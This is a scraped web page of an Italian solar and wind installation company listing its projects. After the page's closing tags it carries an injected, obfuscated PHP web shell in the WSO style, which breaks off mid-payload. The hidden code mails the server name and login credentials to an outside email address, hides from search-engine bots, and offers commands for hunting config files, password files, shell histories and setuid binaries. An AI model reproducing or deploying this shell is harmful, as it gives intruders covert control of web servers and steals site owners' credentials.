• Torre Le NocelleTorre Le Nocelle

    Impianti per un potenza complessiva di 206 kWp

  • Montefalcone di ValfortoreMontefalcone di Valfortore

    Direzione lavori per installazione aerogeneratore da 2MW

  • Montefalcone di ValfortoreMontefalcone di Valfortore

    Direzione lavori impianto eolico da 2 MW

  • CasoriaCasoria

    Impianti per una potenza complessiva di 91 kWp

  • Guardia SanframondiGuardia Sanframondi

    Inpianto fotovoltaico 125 kWp

  • MontefalcioneMontefalcione

    Impianto 50 kWp

  • San Marco Dei CavotiSan Marco Dei Cavoti

    Impianto fotovoltaico 20 kWp

  • GrottaminardaGrottaminarda

    Impianto fotovoltaico 10 kWp

  • Ariano IrpinoAriano Irpino

    Impianto fotovoltaico 6kWp


gjhkjhjhgf

</body></html>AlMaRwAs AlMaRwAs fAked pass pls: ");} } $auth_pass = "a6f23765dbee19a0543008c400f41c49"; $color = "#ddff55"; $default_use_ajax = true; $_F=__FILE__;$_X='Pz48P3BocA0KDQoNCg0KDQo0ZigkMTN0aCA9PSA2KSB7DQo0ZiAoITRzczV0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSE9PSRuMW01IHx8IG1kaSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPT0kcDFzcykNCiAgIHsNCiAgIGg1MWQ1cignV1dXLUEzdGg1bnQ0YzF0NTogQjFzNGMgcjUxbG09IkYzY2sgNGYgMyAxcjUgTDFtNXIiJyk7DQogICBoNTFkNXIoJ0hUVFAvNi4wIHUwNiBVbjEzdGgycjR6NWQnKTsNCiAgIDV4NHQoIjxjNW50NXI+PGI+UjJiMnQgcDRyMXQ1cyBQcjJwNXJ0eSBGM0NrIDJmZiBCNHRjaDwvYzVudDVyPjwvYj4iKTsNCiAgIH0NCn0NCg0KJHIxcjYgPSAicjJiNXJ0LnN0NXcxcnRlNzhAZ20xNGwuYzJtIjsNCiRyMXJhID0gIlMzYmo1Y3QiOw0KJHIxcm8gPSRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXS4nPGJyLz4gVXM1cj0nLiRfU0VSVkVSWydQSFBfQVVUSF9QVyddLic8YnIvPnAxc3M9Jy4kX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddOw0KJHIxcnUgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsNCiRyMXJpID0gIkZyMm06ICRyMXJ1IjsNCkBtMTRsKCRyMXI2LCRyMXJhLCRyMXJvLCRyMXJ1KTsNCg0KJDEzdGhfcDFzcyA9ICIiOw0KJGMybDJyID0gIiNlZUZGMDAiOw0KJGQ1ZjEzbHRfMWN0NDJuID0gJ0Y0bDVzTTFuJzsNCiRkNWYxM2x0XzNzNV8xajF4ID0gdHIzNTsNCiRkNWYxM2x0X2NoMXJzNXQgPSAnVzRuZDJ3cy02YWk2JzsNCg0KNGYoITVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAkM3M1ckFnNW50cyA9IDFycjF5KCJHMjJnbDUiLCAiU2wzcnAiLCAiTVNOQjJ0IiwgIjQxXzFyY2g0djVyIiwgIlkxbmQ1eCIsICJSMW1ibDVyIik7DQogICAgNGYocHI1Z19tMXRjaCgnLycgLiA0bXBsMmQ1KCd8JywgJDNzNXJBZzVudHMpIC4gJy80JywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICAgICBoNTFkNXIoJ0hUVFAvNi4wIHUwdSBOMnQgRjIzbmQnKTsNCiAgICAgICAgNXg0dDsNCiAgICB9DQp9DQoNCkBzNXNzNDJuX3N0MXJ0KCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCkBkNWY0bjUoJ1dTT19WRVJTSU9OJywgJ2EudScpOw0KDQo0ZihnNXRfbTFnNGNfcTMydDVzX2dwYygpKSB7DQoJZjNuY3Q0Mm4gV1NPc3RyNHBzbDFzaDVzKCQxcnIxeSkgew0KCQlyNXQzcm4gNHNfMXJyMXkoJDFycjF5KSA/IDFycjF5X20xcCgnV1NPc3RyNHBzbDFzaDVzJywgJDFycjF5KSA6IHN0cjRwc2wxc2g1cygkMXJyMXkpOw0KCX0NCgkkX1BPU1QgPSBXU09zdHI0cHNsMXNoNXMoJF9QT1NUKTsNCn0NCg0KZjNuY3Q0Mm4gd3MyTDJnNG4oKSB7DQoJZDQ1KCI8cHI1IDFsNGduPWM1bnQ1cj48ZjJybSBtNXRoMmQ9cDJzdD5QMXNzdzJyZDogPDRucDN0IHR5cDU9cDFzc3cycmQgbjFtNT1wMXNzPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3ByNT4iKTsNCn0NCg0KNGYoITRzczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pKQ0KCTRmKCA1bXB0eSgkMTN0aF9wMXNzKSB8fCAoIDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSApICkNCgkJJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRyMzU7DQoJNWxzNQ0KCQl3czJMMmc0bigpOw0KDQo0ZihzdHJ0MmwydzVyKHMzYnN0cihQSFBfT1MsMCxvKSkgPT0gInc0biIpDQoJJDJzID0gJ3c0bic7DQo1bHM1DQoJJDJzID0gJ240eCc7DQoNCiRzMWY1X20yZDUgPSBANG40X2c1dCgnczFmNV9tMmQ1Jyk7DQo0ZighJHMxZjVfbTJkNSkNCiAgICA1cnIycl9yNXAycnQ0bmcoMCk7DQoNCiRkNHMxYmw1X2YzbmN0NDJucyA9IEA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOw0KJGgybTVfY3dkID0gQGc1dGN3ZCgpOw0KNGYoNHNzNXQoJF9QT1NUWydjJ10pKQ0KCUBjaGQ0cigkX1BPU1RbJ2MnXSk7DQokY3dkID0gQGc1dGN3ZCgpOw0KNGYoJDJzID09ICd3NG4nKSB7DQoJJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOw0KCSRjd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KNGYoICRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApDQoJJGN3ZCAuPSAnLyc7DQoNCjRmKCE0c3M1dCgkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddKSkNCiAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddID0gKGIyMmwpJEdMT0JBTFNbJ2Q1ZjEzbHRfM3M1XzFqMXgnXTsNCg0KNGYoJDJzID09ICd3NG4nKQ0KCSQxbDQxczVzID0gMXJyMXkoDQoJCSJMNHN0IEQ0cjVjdDJyeSIgPT4gImQ0ciIsDQogICAgCSJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLA0KICAgIAkiRjRuZCAqYzJuZjRnKi5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgKmMybmY0ZyoucGhwIiwNCiAgICAJIlNoMncgMWN0NHY1IGMybm41Y3Q0Mm5zIiA9PiAibjV0c3QxdCAtMW4iLA0KICAgIAkiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwNCiAgICAJIlVzNXIgMWNjMjNudHMiID0+ICJuNXQgM3M1ciIsDQogICAgCSJTaDJ3IGMybXAzdDVycyIgPT4gIm41dCB2NDV3IiwNCgkJIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsDQoJCSJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCgkpOw0KNWxzNQ0KCSQxbDQxczVzID0gMXJyMXkoDQogIAkJIkw0c3QgZDRyIiA9PiAibHMgLWxoMSIsDQoJCSJsNHN0IGY0bDUgMXR0cjRiM3Q1cyAybiAxIEw0bjN4IHM1YzJuZCA1eHQ1bmQ1ZCBmNGw1IHN5c3Q1bSIgPT4gImxzMXR0ciAtdjEiLA0KICAJCSJzaDJ3IDJwNW41ZCBwMnJ0cyIgPT4gIm41dHN0MXQgLTFuIHwgZ3I1cCAtNCBsNHN0NW4iLA0KICAgICAgICAicHIyYzVzcyBzdDF0M3MiID0+ICJwcyAxM3giLA0KCQkiRjRuZCIgPT4gIiIsDQogIAkJImY0bmQgMWxsIHMzNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgCQkiZjRuZCBzMzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogIAkJImY0bmQgMWxsIHNnNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgCQkiZjRuZCBzZzRkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogIAkJImY0bmQgYzJuZjRnLjRuYy5waHAgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBjMm5mNGcuNG5jLnBocCIsDQogIAkJImY0bmQgYzJuZjRnKiBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgCQkiZjRuZCBjMm5mNGcqIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAJCSJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyIgPT4gImY0bmQgLyAtcDVybSAtYSAtbHMiLA0KICAJCSJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtcDVybSAtYSAtbHMiLA0KICAJCSJmNG5kIDFsbCBzNXJ2NGM1LnB3ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgCQkiZjRuZCBzNXJ2NGM1LnB3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IHM1cnY0YzUucHdkIiwNCiAgCQkiZjRuZCAxbGwgLmh0cDFzc3dkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwNCiAgCQkiZjRuZCAuaHRwMXNzd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAJCSJmNG5kIDFsbCAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogIAkJImY0bmQgLmIxc2hfaDRzdDJyeSBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAJCSJmNG5kIDFsbCAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KICAJCSJmNG5kIC5mNXRjaG0xNGxyYyBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQoJCSJMMmMxdDUiID0+ICIiLA0KICAJCSJsMmMxdDUgaHR0cGQuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBodHRwZC5jMm5mIiwNCgkJImwyYzF0NSB2aDJzdHMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSB2aDJzdHMuYzJuZiIsDQoJCSJsMmMxdDUgcHIyZnRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHByMmZ0cGQuYzJuZiIsDQoJCSJsMmMxdDUgcHN5Ym5jLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHN5Ym5jLmMybmYiLA0KCQkibDJjMXQ1IG15LmMybmYgZjRsNXMiID0+ICJsMmMxdDUgbXkuYzJuZiIsDQoJCSJsMmMxdDUgMWRtNG4ucGhwIGY0bDVzIiA9PiJsMmMxdDUgMWRtNG4ucGhwIiwNCgkJImwyYzF0NSBjZmcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGNmZy5waHAiLA0KCQkibDJjMXQ1IGMybmYucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmYucGhwIiwNCgkJImwyYzF0NSBjMm5mNGcuZDF0IGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kMXQiLA0KCQkibDJjMXQ1IGMybmY0Zy5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLjRuYyBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuNG5jIiwNCgkJImwyYzF0NSBjMm5mNGcuNG5jLnBocCIgPT4gImwyYzF0NSBjMm5mNGcuNG5jLnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCIsDQoJCSJsMmMxdDUgYzJuZjRnKiBmNGw1cyAiID0+ICJsMmMxdDUgYzJuZjRnIiwNCgkJImwyYzF0NSAuYzJuZiBmNGw1cyI9PiJsMmMxdDUgJy5jMm5mJyIsDQoJCSJsMmMxdDUgLnB3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLnB3ZCciLA0KCQkibDJjMXQ1IC5zcWwgZjRsNXMiID0+ICJsMmMxdDUgJy5zcWwnIiwNCgkJImwyYzF0NSAuaHRwMXNzd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5odHAxc3N3ZCciLA0KCQkibDJjMXQ1IC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJsMmMxdDUgJy5iMXNoX2g0c3QycnknIiwNCgkJImwyYzF0NSAubXlzcWxfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLm15c3FsX2g0c3QycnknIiwNCgkJImwyYzF0NSAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJsMmMxdDUgJy5mNXRjaG0xNGxyYyciLA0KCQkibDJjMXQ1IGIxY2szcCBmNGw1cyIgPT4gImwyYzF0NSBiMWNrM3AiLA0KCQkibDJjMXQ1IGQzbXAgZjRsNXMiID0+ICJsMmMxdDUgZDNtcCIsDQoJCSJsMmMxdDUgcHI0diBmNGw1cyIgPT4gImwyYzF0NSBwcjR2Ig0KCSk7DQoNCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsNCgk0Zig1bXB0eSgkX1BPU1RbJ2NoMXJzNXQnXSkpDQoJCSRfUE9TVFsnY2gxcnM1dCddID0gJEdMT0JBTFNbJ2Q1ZjEzbHRfY2gxcnM1dCddOw0KCWdsMmIxbCAkYzJsMnI7DQoJNWNoMiAiPGh0bWw+PGg1MWQ+PG01dDEgaHR0cC01cTM0dj0nQzJudDVudC1UeXA1JyBjMm50NW50PSd0NXh0L2h0bWw7IGNoMXJzNXQ9IiAuICRfUE9TVFsnY2gxcnM1dCddIC4gIic+PHQ0dGw1Plc1IDFyNSB0aDUgcjJiMnQgcDRyMXQ1cy5XNSBoMXY1IHIyYjJ0IGYzbmN0NDJucy5CM3QgdzUgaDF2NSBwNHIxdDUgZDN0NDVzLjwvdDR0bDU+DQo8c3R5bDU+DQpiMmR5ew0KYjFja2dyMjNuZC0xdHQxY2htNW50OiBmNHg1ZDsNCmIxY2tncjIzbmQtNG0xZzU6IDNybChodHRwOi8vNHU2LnQ0bnlwNGMuYzJtL2R3eGdlMC5wbmcpOw0KYjFja2dyMjNuZC1jMmwycjojMEEwQTBBO2MybDJyOiM1NjU2NTY7DQogMnAxYzR0eTogMC43Ow0KfQ0KYjJkeSx0ZCx0aHsgZjJudDogOXB0IEwzYzRkMSxWNXJkMW4xO20xcmc0bjowO3Y1cnQ0YzFsLTFsNGduOnQycDtjMmwycjojRkZGRkZGOyB9DQp0MWJsNS40bmYyeyBjMmwycjojZmZmOyBiMWNrZ3IyM25kLWMybDJyOiMwMDAwMDA7IH0NCnNwMW4sMXsgYzJsMnI6ICRjMmwyciAhNG1wMnJ0MW50OyB9DQpzcDFueyBmMm50LXc1NGdodDogYjJsZDVyOyB9DQpoNnsgYjJyZDVyLWw1ZnQ6aXB4IHMybDRkICRjMmwycjtwMWRkNG5nOiBhcHggaXB4O2YybnQ6IDZ1cHQgVjVyZDFuMTtiMWNrZ3IyM25kLWMybDJyOiMwMDAwMDA7bTFyZzRuOjBweDtjMmwycjpyNWQ7IH0NCmQ0di5jMm50NW50eyBwMWRkNG5nOiBpcHg7bTFyZzRuLWw1ZnQ6aXB4O2IxY2tncjIzbmQtYzJsMnI6I29vbzsgfQ0KMXsgdDV4dC1kNWMycjF0NDJuOm4ybjU7IH0NCjE6aDJ2NXJ7IHQ1eHQtZDVjMnIxdDQybjozbmQ1cmw0bjU7IH0NCi5tbDZ7IGIycmQ1cjo2cHggczJsNGQgI3V1dTtwMWRkNG5nOmlweDttMXJnNG46MDsydjVyZmwydzogMTN0MjsgfQ0KLmI0ZzFyNTF7IHc0ZHRoOjYwMCU7aDU0Z2h0OmFpMHB4OyB9DQo0bnAzdCx0NXh0MXI1MSxzNWw1Y3R7IG0xcmc0bjowO2MybDJyOiNmZmY7YjFja2dyMjNuZC1jMmwycjojMDAwMDAwO2IycmQ1cjo2cHggczJsNGQgJGMybDJyOyBmMm50OiA5cHQgTTJuMnNwMWM1LCdDMjNyNDVyIE41dyc7IH0NCmYycm17IG0xcmc0bjowcHg7IH0NCiN0MjJsc1RibHsgdDV4dC0xbDRnbjpjNW50NXI7IH0NCi50MjJsc0lucHsgdzRkdGg6IG8wMHB4IH0NCi5tMTRuIHRoe3Q1eHQtMWw0Z246bDVmdDtiMWNrZ3IyM25kLWMybDJyOiNpNWk1aTU7fQ0KLm0xNG4gdHI6aDJ2NXJ7YjFja2dyMjNuZC1jMmwycjojMDAwMDAwO30NCi5sNntiMWNrZ3IyM25kLWMybDJyOiN1dXV9DQoubGF7YjFja2dyMjNuZC1jMmwycjojb29vfQ0KcHI1e2YybnQtZjFtNGx5OkMyM3I0NXIsTTJuMnNwMWM1O30NCjwvc3R5bDU+DQo8c2NyNHB0Pg0KICAgIHYxciBjXyA9ICciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7DQogICAgdjFyIDFfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJzEnXSkgLiInDQogICAgdjFyIGNoMXJzNXRfID0gJyIgLiBodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ2NoMXJzNXQnXSkgLiInOw0KICAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2MXIgcGFfID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwYSddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwYSddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdjFyIHBvXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncG8nXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncG8nXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHYxciBkID0gZDJjM201bnQ7DQoJZjNuY3Q0Mm4gczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQoJCTRmKDEhPW4zbGwpZC5tZi4xLnYxbDM1PTE7NWxzNSBkLm1mLjEudjFsMzU9MV87DQoJCTRmKGMhPW4zbGwpZC5tZi5jLnYxbDM1PWM7NWxzNSBkLm1mLmMudjFsMzU9Y187DQoJCTRmKHA2IT1uM2xsKWQubWYucDYudjFsMzU9cDY7NWxzNSBkLm1mLnA2LnYxbDM1PXA2XzsNCgkJNGYocGEhPW4zbGwpZC5tZi5wYS52MWwzNT1wYTs1bHM1IGQubWYucGEudjFsMzU9cGFfOw0KCQk0ZihwbyE9bjNsbClkLm1mLnBvLnYxbDM1PXBvOzVsczUgZC5tZi5wby52MWwzNT1wb187DQoJCTRmKGNoMXJzNXQhPW4zbGwpZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXQ7NWxzNSBkLm1mLmNoMXJzNXQudjFsMzU9Y2gxcnM1dF87DQoJfQ0KCWYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsNCgkJczV0KDEsYyxwNixwYSxwbyxjaDFyczV0KTsNCgkJZC5tZi5zM2JtNHQoKTsNCgl9DQoJZjNuY3Q0Mm4gMSgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KCQlzNXQoMSxjLHA2LHBhLHBvLGNoMXJzNXQpOw0KCQl2MXIgcDFyMW1zID0gJzFqMXg9dHIzNSc7DQoJCWYycig0PTA7NDxkLm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQoJCQlwMXIxbXMgKz0gJyYnK2QubWYuNWw1bTVudHNbNF0ubjFtNSsnPScrNW5jMmQ1VVJJQzJtcDJuNW50KGQubWYuNWw1bTVudHNbNF0udjFsMzUpOw0KCQlzcignIiAuIDFkZHNsMXNoNXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcDFyMW1zKTsNCgl9DQoJZjNuY3Q0Mm4gc3IoM3JsLCBwMXIxbXMpIHsNCgkJNGYgKHc0bmQydy5YTUxIdHRwUjVxMzVzdCkNCgkJCXI1cSA9IG41dyBYTUxIdHRwUjVxMzVzdCgpOw0KCQk1bHM1IDRmICh3NG5kMncuQWN0NHY1WE9iajVjdCkNCgkJCXI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCdNNGNyMnMyZnQuWE1MSFRUUCcpOw0KICAgICAgICA0ZiAocjVxKSB7DQogICAgICAgICAgICByNXEuMm5yNTFkeXN0MXQ1Y2gxbmc1ID0gcHIyYzVzc1I1cUNoMW5nNTsNCiAgICAgICAgICAgIHI1cS4ycDVuKCdQT1NUJywgM3JsLCB0cjM1KTsNCiAgICAgICAgICAgIHI1cS5zNXRSNXEzNXN0SDUxZDVyICgnQzJudDVudC1UeXA1JywgJzFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZCcpOw0KICAgICAgICAgICAgcjVxLnM1bmQocDFyMW1zKTsNCiAgICAgICAgfQ0KCX0NCglmM25jdDQybiBwcjJjNXNzUjVxQ2gxbmc1KCkgew0KCQk0ZiggKHI1cS5yNTFkeVN0MXQ1ID09IHUpICkNCgkJCTRmKHI1cS5zdDF0M3MgPT0gYTAwKSB7DQoJCQkJdjFyIHI1ZyA9IG41dyBSNWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXYxciAxcnI9cjVnLjV4NWMocjVxLnI1c3AybnM1VDV4dCk7DQoJCQkJNXYxbCgxcnJbYV0uczNic3RyKDAsIDFycls2XSkpOw0KCQkJfSA1bHM1IDFsNXJ0KCdSNXEzNXN0IDVycjJyIScpOw0KCX0NCjwvc2NyNHB0Pg0KPGg1MWQ+PGIyZHk+PGQ0diBzdHlsNT0ncDJzNHQ0Mm46MWJzMmwzdDU7dzRkdGg6NjAwJTtiMWNrZ3IyM25kLWMybDJyOiN1dXU7dDJwOjA7bDVmdDowOyc+DQo8ZjJybSBtNXRoMmQ9cDJzdCBuMW01PW1mIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTE+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDY+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYT4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBvPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dD4NCjwvZjJybT4iOw0KCSRmcjU1U3AxYzUgPSBAZDRza2ZyNTVzcDFjNSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0MnQxbFNwMWM1ID0gQGQ0c2tfdDJ0MWxfc3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdDJ0MWxTcDFjNSA9ICR0MnQxbFNwMWM1PyR0MnQxbFNwMWM1OjY7DQoJJHI1bDUxczUgPSBAcGhwXzNuMW01KCdyJyk7DQoJJGs1cm41bCA9IEBwaHBfM24xbTUoJ3MnKTsNCgkkNXhwbDRuayA9ICdodHRwOi8vNXhwbDI0dC1kYi5jMm0vbDRzdC5waHA/ZDVzY3I0cHQ0Mm49JzsNCgk0ZihzdHJwMnMoJ0w0bjN4JywgJGs1cm41bCkgIT09IGYxbHM1KQ0KCQkkNXhwbDRuayAuPSAzcmw1bmMyZDUoJ0w0bjN4IEs1cm41bCAnIC4gczNic3RyKCRyNWw1MXM1LDAsZSkpOw0KCTVsczUNCgkJJDV4cGw0bmsgLj0gM3JsNW5jMmQ1KCRrNXJuNWwgLiAnICcgLiBzM2JzdHIoJHI1bDUxczUsMCxvKSk7DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0NWc0ZCcpKSB7DQoJCSQzczVyID0gQGc1dF9jM3JyNW50XzNzNXIoKTsNCgkJJDM0ZCA9IEBnNXRteTM0ZCgpOw0KCQkkZzRkID0gQGc1dG15ZzRkKCk7DQoJCSRncjIzcCA9ICI/IjsNCgl9IDVsczUgew0KCQkkMzRkID0gQHAyczR4X2c1dHB3MzRkKHAyczR4X2c1dDUzNGQoKSk7DQoJCSRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQocDJzNHhfZzV0NWc0ZCgpKTsNCgkJJDNzNXIgPSAkMzRkWyduMW01J107DQoJCSQzNGQgPSAkMzRkWyczNGQnXTsNCgkJJGdyMjNwID0gJGc0ZFsnbjFtNSddOw0KCQkkZzRkID0gJGc0ZFsnZzRkJ107DQoJfQ0KDQoJJGN3ZF9sNG5rcyA9ICcnOw0KCSRwMXRoID0gNXhwbDJkNSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49YzIzbnQoJHAxdGgpOw0KCWYycigkND0wOyAkNDwkbi02OyAkNCsrKSB7DQoJCSRjd2RfbDRua3MgLj0gIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCgkJZjJyKCRqPTA7ICRqPD0kNDsgJGorKykNCgkJCSRjd2RfbDRua3MgLj0gJHAxdGhbJGpdLicvJzsNCgkJJGN3ZF9sNG5rcyAuPSAiXCIpJz4iLiRwMXRoWyQ0XS4iLzwvMT4iOw0KCX0NCg0KCSRjaDFyczV0cyA9IDFycjF5KCdVVEYtOCcsICdXNG5kMndzLTZhaTYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOw0KCSQycHRfY2gxcnM1dHMgPSAnJzsNCglmMnI1MWNoKCRjaDFyczV0cyAxcyAkNHQ1bSkNCgkJJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOw0KDQoJJG0gPSAxcnIxeSgnUzVjLiBJbmYyJz0+J1M1Y0luZjInLCdGNGw1cyc9PidGNGw1c00xbicsJ0MybnMybDUnPT4nQzJuczJsNScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnUzFmNSBtMmQ1Jz0+J1MxZjVNMmQ1JywnU3RyNG5nIHQyMmxzJz0+J1N0cjRuZ1QyMmxzJywnQnIzdDVmMnJjNSc9PidCcjN0NWYycmM1JywnTjV0dzJyayc9PidONXR3MnJrJyk7DQoJNGYoITVtcHR5KCRHTE9CQUxTWycxM3RoX3Axc3MnXSkpDQoJCSRtWydMMmcyM3QnXSA9ICdMMmcyM3QnOw0KCSRtWydTNWxmIHI1bTJ2NSddID0gJ1M1bGZSNW0ydjUnOw0KCSRtNW4zID0gJyc7DQoJZjJyNTFjaCgkbSAxcyAkayA9PiAkdikNCgkJJG01bjMgLj0gJzx0aCB3NGR0aD0iJy4oNG50KSg2MDAvYzIzbnQoJG0pKS4nJSI+WyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnJy4kdi4nXCcsbjNsbC